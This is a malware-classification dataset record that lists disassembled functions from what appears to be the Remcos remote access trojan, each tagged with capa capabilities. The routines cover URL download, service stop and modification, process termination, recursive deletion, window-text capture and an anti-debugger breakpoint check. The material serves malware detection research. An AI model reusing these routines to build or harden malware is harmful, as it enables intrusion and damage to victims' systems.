joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40dfdd
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
cmp dword [0x46863c], 0
mov dword [ebp - 0x18], str.getaddrinfo
mov dword [ebp - 0x14], 0x40db95
mov dword [ebp - 0x10], str.getnameinfo
mov dword [ebp - 0xc], 0x40de15
mov dword [ebp - 8], str.freeaddrinfo
mov dword [ebp - 4], fcn.0040db57
jne 0x40e13f
push 0x104
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x40e135
push ebx
push esi
push edi
lea eax, [ebp - 0x22c]
mov ebx, 0x10c
push eax
lea eax, [ebp - 0x124]
push ebx
push eax
call fcn.00436584
push str.ws2_32
lea eax, [ebp - 0x124]
push ebx
push eax
call fcn.004365de
add esp, 0x18
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, eax
xor edi, edi
test esi, esi
je 0x40e09c
push str.getaddrinfo
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x40e098
push esi
call ebx
mov esi, edi
test esi, esi
jne 0x40e0f6
lea eax, [ebp - 0x22c]
mov esi, 0x10c
push eax
lea eax, [ebp - 0x124]
push esi
push eax
call fcn.00436584
push str.wship6
lea eax, [ebp - 0x124]
push esi
push eax
call fcn.004365de
add esp, 0x18
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x40e132
push str.getaddrinfo
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x40e0f2
push esi
call ebx
mov esi, edi
test esi, esi
je 0x40e132
mov ebx, edi
push dword [ebp + ebx*8 - 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + ebx*8 - 0x14], eax
test eax, eax
je 0x40e113
inc ebx
cmp ebx, 3
jl 0x40e0f8
jmp 0x40e11c
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, edi
test esi, esi
je 0x40e132
mov eax, dword [ebp + edi - 0x14]
mov dword [edi + 0x4639d8], eax
add edi, 8
cmp edi, 0x18
jl 0x40e120
pop edi
pop esi
pop ebx
mov dword [0x46863c], 1
mov eax, dword [0x4639d8]
mov esp, ebp
pop ebp
ret
Function at 0x40fe8b
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
push ebx
push esi
push str._sysinfo.txt
push str.temp
call fcn.00431512
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.004034f9
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00407526
pop ecx
lea ecx, [ebp - 0x30]
call fcn.004034ef
xor ebx, ebx
lea eax, [ebp - 0x48]
push ebx
push ebx
push eax
mov edx, 0x45e098
lea ecx, [ebp - 0x30]
call fcn.00408c7b
pop ecx
mov ecx, eax
call fcn.00404386
push eax
push str.dxdiag
push 0x45858c
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x30]
call fcn.004034ef
lea ecx, [ebp - 0x18]
call fcn.004021b9
mov esi, ebx
lea ecx, [ebp - 0x48]
call fcn.00404386
lea edx, [ebp - 0x18]
mov ecx, eax
call fcn.00413945
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x18]
inc esi
call fcn.00405e1f
test al, al
je 0x40ff32
cmp esi, 0x4b0
jl 0x40ff03
lea ecx, [ebp - 0x18]
call fcn.00405e1f
test al, al
jne 0x40ffba
lea ecx, [ebp - 0x48]
call fcn.00404386
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
lea ecx, [ebp - 0xc8]
call fcn.0040152a
push ecx
lea ecx, [ebp - 0xc8]
call fcn.004016fe
test al, al
je 0x40ffaf
sub esp, 0x18
lea eax, [ebp - 0x18]
mov esi, esp
lea edx, [ebp + 8]
push eax
push ecx
lea ecx, [ebp - 0x30]
call fcn.004043af
pop ecx
mov edx, eax
mov ecx, esi
call fcn.0040438b
pop ecx
push 0x97
lea ecx, [ebp - 0xc8]
call fcn.004018d7
lea ecx, [ebp - 0x30]
call fcn.00402081
lea ecx, [ebp - 0xc8]
call fcn.00401c3f
mov bl, 1
lea ecx, [ebp - 0xc8]
call fcn.00401cfd
lea ecx, [ebp - 0x18]
call fcn.00402081
lea ecx, [ebp - 0x48]
call fcn.004034ef
lea ecx, [ebp + 8]
call fcn.00402081
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4105f7
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
lea eax, [ebp + 8]
lea ecx, [ebp - 0x84]
push ebx
push esi
push edi
push eax
push str._nF2
call fcn.00402168
push eax
push str.Temp
call fcn.0043151d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x6c]
call fcn.00402a5d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.0040438b
pop ecx
lea ecx, [ebp - 0x6c]
call fcn.00402081
lea ecx, [ebp - 0x84]
call fcn.00402081
push ecx
push ecx
push 0x10
lea ecx, [ebp - 0x18]
call fcn.00402018
push eax
lea ecx, [ebp - 0x138]
call fcn.0040a285
lea ecx, [ebp - 0x138]
call fcn.00410834
test al, al
je 0x410728
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x138]
call fcn.00410844
lea ecx, [ebp - 0x138]
call fcn.0040a236
and dword [ebp - 0x4c], 0
lea ecx, [ebp - 0x18]
and dword [ebp - 0x48], 0
mov dword [ebp - 0x54], 0x3c
mov dword [ebp - 0x50], 0x40
call fcn.00402018
movaps xmm0, xmmword [0x45e9f0]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x54]
push eax
movups xmmword [ebp - 0x40], xmm0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
mov esi, 0x458564
mov edi, 0x467148
setne bl
cmp dword [ebp - 0x1c], 0
je 0x410712
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402168
push 0x70
mov ecx, edi
call fcn.004018d7
push 0xffffffffffffffff
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x18]
call fcn.00402018
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp bl, 1
jne 0x410743
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402168
push 0x6e
mov ecx, edi
jmp 0x41073e
sub esp, 0x18
mov ecx, esp
push 0x458564
call fcn.00402168
push 0x6f
mov ecx, 0x467148
call fcn.004018d7
lea ecx, [ebp - 0x138]
call fcn.00409df3
lea ecx, [ebp - 0x18]
call fcn.00402081
lea ecx, [ebp + 8]
call fcn.00402081
lea ecx, [ebp + 0x20]
call fcn.00402081
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41232e
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x20
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x20
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00404386
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x412366
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x412384
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.004034ef
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x412395
Capabilities:
Query service status
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x11
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0xf003f
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00404386
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x4123d0
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x412421
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x4123f1
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov bl, 2
jmp 0x412421
lea eax, [ebp - 0x1c]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x18], 1
jne 0x4123f1
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
neg eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
sbb ebx, ebx
and ebx, 0xfffffffe
add ebx, 3
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.004034ef
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x412432
Capabilities:
Pause service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x40
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00404386
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x41246a
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x412488
lea eax, [ebp - 0x1c]
push eax
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.004034ef
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x412499
Capabilities:
Continue service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x40
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00404386
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x4124d1
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x4124ef
lea eax, [ebp - 0x1c]
push eax
push 3
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.004034ef
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x412500
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 2
xor ebx, ebx
mov byte [ebp - 1], cl
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 2
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00404386
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x412539
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x41257d
movzx eax, byte [ebp - 1]
or ecx, 0xffffffff
sub eax, ebx
je 0x412556
sub eax, 1
je 0x412552
sub eax, 1
jne 0x412559
push 3
jmp 0x412558
push 2
jmp 0x412558
push 4
pop ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push ecx
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.004034ef
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4125a2
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push ecx
lea ecx, [ebp - 0x18]
call fcn.004087cc
pop ecx
lea ecx, [ebp - 0x18]
call fcn.00404386
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x412621
mov esi, 0x467480
mov edx, 0x458564
mov ecx, esi
call fcn.00403f73
test al, al
je 0x412610
sub esp, 0x18
cmp byte [0x464caf], 0
mov ecx, esp
push 0x45e138
je 0x4125fa
call fcn.00402168
mov ecx, 0x467498
jmp 0x412604
call fcn.00402168
mov ecx, 0x4670b0
push 0xa1
call fcn.004018d7
jmp 0x412630
lea ecx, [ebp - 0x18]
call fcn.00404386
mov edx, eax
mov ecx, esi
call fcn.004139b7
lea ecx, [ebp - 0x18]
call fcn.00404386
mov ecx, eax
call fcn.0041263d
lea ecx, [ebp - 0x18]
call fcn.004034ef
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x412692
Capabilities:
Check if file exists

Disassembly:
push ebx
push ecx
mov ecx, 0x467480
mov bl, dl
call fcn.00402067
test bl, bl
je 0x4126aa
pop ebx
jmp fcn.004125a2
pop ebx
ret
Function at 0x412876
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
push ecx
lea ecx, [ebp + 8]
call fcn.00412aae
cmp eax, 0xffffffff
jne 0x4128b7
lea ecx, [ebp + 8]
call fcn.00404386
push eax
mov dl, 0x30
lea ecx, [ebp - 0x18]
call fcn.00408816
pop ecx
push eax
lea ecx, [ebp + 8]
call fcn.00405c7f
lea ecx, [ebp - 0x18]
call fcn.004034ef
mov ecx, esi
call fcn.00402010
lea ecx, [ebp + 8]
test eax, eax
je 0x412996
call fcn.00404386
mov edx, eax
mov ecx, esi
call fcn.004139b7
push str._alias_audio
mov edx, edi
lea ecx, [ebp - 0x78]
call fcn.0041338d
push eax
lea eax, [ebp + 8]
mov edx, str.open__
push str.__type
push eax
lea ecx, [ebp - 0x60]
call fcn.00408c7b
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00407526
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00408bbd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00407526
pop ecx
lea ecx, [ebp - 0x18]
call fcn.004034ef
lea ecx, [ebp - 0x48]
call fcn.004034ef
lea ecx, [ebp - 0x60]
call fcn.004034ef
lea ecx, [ebp - 0x78]
call fcn.004034ef
xor ebx, ebx
lea ecx, [ebp - 0x30]
push ebx
push ebx
push ebx
call fcn.00404386
push eax
call dword [sym.imp.WINMM.dll_mciSendStringW]
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
push ebx
push ebx
push ebx
push str.play_audio
call esi
sub esp, 0x18
mov ecx, esp
push 0x458564
call fcn.00402168
push 0xa9
mov ecx, 0x467498
call fcn.004018d7
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x4669e4], eax
jmp 0x412a5d
call fcn.00404386
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4128d7
sub esp, 0x18
mov ecx, esp
push 0x458564
call fcn.00402168
push 0xa8
mov ecx, 0x467498
call fcn.004018d7
jmp 0x412a9f
cmp byte [0x464cae], bl
je 0x4129e5
push ebx
push ebx
push ebx
push str.pause_audio
call esi
mov byte [0x464cae], bl
cmp byte [0x464cad], bl
je 0x4129fd
push ebx
push ebx
push ebx
push str.resume_audio
call esi
mov byte [0x464cad], bl
push ebx
push 0x14
lea eax, [ebp - 0x14]
push eax
push str.status_audio_mode
call esi
lea edx, [ebp - 0x14]
mov edi, str.stopped
mov ecx, ebx
movzx eax, byte [edx + ecx]
cmp al, byte [edi + ecx]
jne 0x412a30
inc ecx
cmp ecx, 8
jne 0x412a15
push dword [0x4669e4]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1f4
push dword [0x4669e4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x412a58
push dword [0x4669e4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x41298c
mov eax, dword [0x4669e4]
test eax, eax
jne 0x4129cd
push ebx
push ebx
push ebx
push str.stop_audio
call esi
push ebx
push ebx
push ebx
push str.close_audio
call esi
sub esp, 0x18
mov ecx, esp
push 0x458564
call fcn.00402168
push 0xaa
mov ecx, 0x467498
call fcn.004018d7
lea ecx, [ebp - 0x30]
call fcn.004034ef
lea ecx, [ebp + 8]
call fcn.004034ef
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41313a
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
test ecx, ecx
je 0x4131bc
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x4131bc
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x54]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x4131b3
mov esi, dword [ebp - 0x4c]
inc esi
push esi
mov dword [ebp - 0x4c], esi
call fcn.00431286
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x4131b3
push esi
push edi
push eax
call fcn.0042dbe0
add esp, 0xc
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
mov dword [esi], eax
mov eax, dword [ebp - 8]
push edi
push edi
push edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4131c5
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
lea eax, [ebp - 0x200]
push esi
push 0x200
push 0
push eax
mov esi, ecx
call fcn.0042dbe0
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x100
lea ecx, [ebp - 0x200]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x200]
mov ecx, esi
push eax
call fcn.004034f9
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x413290
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push ecx
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4132b8
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
ret
Function at 0x4136fa
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push ebx
push esi
mov ebx, ecx
lea esi, [ebp - 0x418]
push edi
mov dword [ebp - 8], ebx
mov edx, ebx
sub esi, ebx
movzx eax, word [edx]
mov word [esi + edx], ax
lea edx, [edx + 2]
test ax, ax
jne 0x413715
lea ecx, [ebp - 0x418]
sub ecx, 2
xor edx, edx
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
cmp ax, dx
jne 0x41372f
mov eax, dword [0x45e2b0]
lea edx, [ebp - 0x210]
mov dword [ecx], eax
sub edx, ebx
mov ax, word [0x45e2b4]
mov word [ecx + 4], ax
mov ecx, ebx
movzx eax, word [ecx]
mov word [edx + ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x413756
lea edi, [ebp - 0x210]
sub edi, 2
xor esi, esi
mov ax, word [edi + 2]
lea edi, [edi + 2]
cmp ax, si
jne 0x413770
mov eax, dword [0x458688]
mov dword [edi], eax
lea eax, [ebp - 0x668]
push eax
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4138e4
mov ecx, esi
movzx eax, word [ebp + ecx - 0x210]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x41a], ax
test ax, ax
jne 0x4137a4
mov byte [ebp - 1], 1
lea eax, [ebp - 0x668]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x4138cb
lea ecx, [ebp - 0x63c]
call fcn.00413684
test eax, eax
jne 0x413864
lea edx, [ebp - 0x63c]
xor ecx, ecx
mov esi, edx
mov ax, word [edx]
add edx, 2
cmp ax, cx
jne 0x4137ef
lea edi, [ebp - 0x210]
sub edx, esi
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, cx
jne 0x413805
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
test byte [ebp - 0x668], 0x10
rep movsb byte es:[edi], byte [esi]
je 0x413881
lea ecx, [ebp - 0x210]
call fcn.004136fa
test eax, eax
je 0x4138dd
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor esi, esi
mov ecx, esi
movzx eax, word [ebp + ecx - 0x418]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x212], ax
test ax, ax
jne 0x41384c
mov al, byte [ebp - 1]
test al, al
jne 0x4137c0
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x4138e6
test byte [ebp - 0x668], 1
je 0x41389c
push 0x80
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x4138dd
xor esi, esi
mov ecx, esi
movzx eax, word [ebp + ecx - 0x418]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x212], ax
test ax, ax
jne 0x4138b1
jmp 0x413864
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x4138dd
xor eax, eax
mov byte [ebp - 1], al
jmp 0x413867
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4138ed
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ecx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 8]
mov edi, edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x41391f
xor al, al
jmp 0x41393e
push ebx
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x413935
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x413945
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
xor ebx, ebx
mov dword [ebp - 4], edx
push ebx
push 0x80
push 3
push ebx
push 3
push connect
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x413973
xor al, al
jmp 0x4139b1
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp - 4]
mov esi, eax
push ebx
push esi
call fcn.0040609d
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
push ebx
push eax
push esi
mov dword [ebp - 8], ebx
call fcn.00402018
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
test eax, eax
je 0x4139a8
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x413ce4
Capabilities:
Change the wallpaper

Disassembly:
push ebx
push esi
push edi
mov edi, edx
sub ecx, 0
je 0x413d90
sub ecx, 1
je 0x413d82
sub ecx, 1
je 0x413d74
sub ecx, 1
je 0x413d41
sub ecx, 1
jne 0x413dd2
push 1
sub esp, 0x18
mov ecx, esp
push 0x4585a0
call fcn.00402168
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.0040c9fc
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x45859c
jmp 0x413dbe
push 1
sub esp, 0x18
mov ecx, esp
push 0x45dee0
call fcn.00402168
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.0040c9fc
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x4585a0
jmp 0x413dbe
push 1
sub esp, 0x18
mov ecx, esp
push 0x45e234
jmp 0x413d4d
push 1
sub esp, 0x18
mov ecx, esp
push 0x458588
jmp 0x413d4d
push 1
sub esp, 0x18
mov ebx, 0x4585a0
mov ecx, esp
push ebx
call fcn.00402168
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.0040c9fc
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push ebx
call fcn.00402168
push str.TileWallpaper
mov edx, esi
call fcn.0040c9fc
add esp, 0x20
push 3
push edi
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
pop edi
pop esi
pop ebx
ret

Function at 0x414044
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
mov bl, cl
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call dword [0x466a08]
test bl, bl
mov dword [0x466a1c], eax
pop ebx
jne 0x41406c
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push edi
push 1
call fcn.00432df3
push eax
push 0x45e584
push str.CONOUT_
call fcn.00436759
add esp, 0x10
push 0x4e4
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
call fcn.00414001
push 0x64
lea eax, [ebp - 0x64]
push 0
push eax
call fcn.0042dbe0
lea edi, [ebp - 0x64]
add esp, 0xc
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4140ac
mov esi, str._n_tRemcos_v
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x64]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4140c2
mov esi, str.4.5.0_Light
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x64]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4140d6
push 6
pop ecx
mov esi, 0x45e688
lea eax, [ebp - 0x64]
rep movsd dword es:[edi], dword [esi]
push eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.00412ae9
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4192fb
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [ecx + 4]
xor eax, eax
xor edx, edx
movzx ecx, word [esi]
cmp ax, cx
jae 0x419326
movzx eax, dx
mov al, byte [eax + esi + 4]
cmp al, 0x13
je 0x419326
cmp al, 0xc0
je 0x419326
cmp al, 0xcc
je 0x419326
add edx, 2
cmp dx, cx
jb 0x41930b
pop esi
ret